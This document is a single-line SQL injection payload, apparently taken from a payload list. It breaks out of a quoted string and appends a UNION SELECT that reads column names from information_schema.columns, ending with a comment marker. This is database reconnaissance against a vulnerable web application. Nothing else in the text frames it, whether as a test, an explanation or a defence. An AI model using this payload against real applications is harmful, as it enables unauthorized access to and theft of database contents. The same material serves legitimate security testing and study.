'+UNION+SELECT+column_name+FROM+information_schema.columns--